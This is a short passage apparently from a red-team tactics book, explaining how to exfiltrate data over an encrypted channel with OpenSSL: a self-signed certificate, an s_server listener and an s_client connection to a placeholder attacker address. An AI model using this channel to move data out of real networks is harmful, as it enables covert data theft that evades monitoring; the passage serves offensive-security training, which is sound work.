Hands-On Red Team Tactics

Exfiltration via OpenSSL

We also saw another way to transfer data via OpenSSL using commands, as shown by the following, to first generate the certificate and then use that certificate to transfer data securely:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

On a server, input the following:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

On a client, input the following:

openssl s_client -quiet -connect <IP>:<port>

Transferring data over SSL is secure but it will not always work, as we may find systems in the network where OpenSSL is not installed.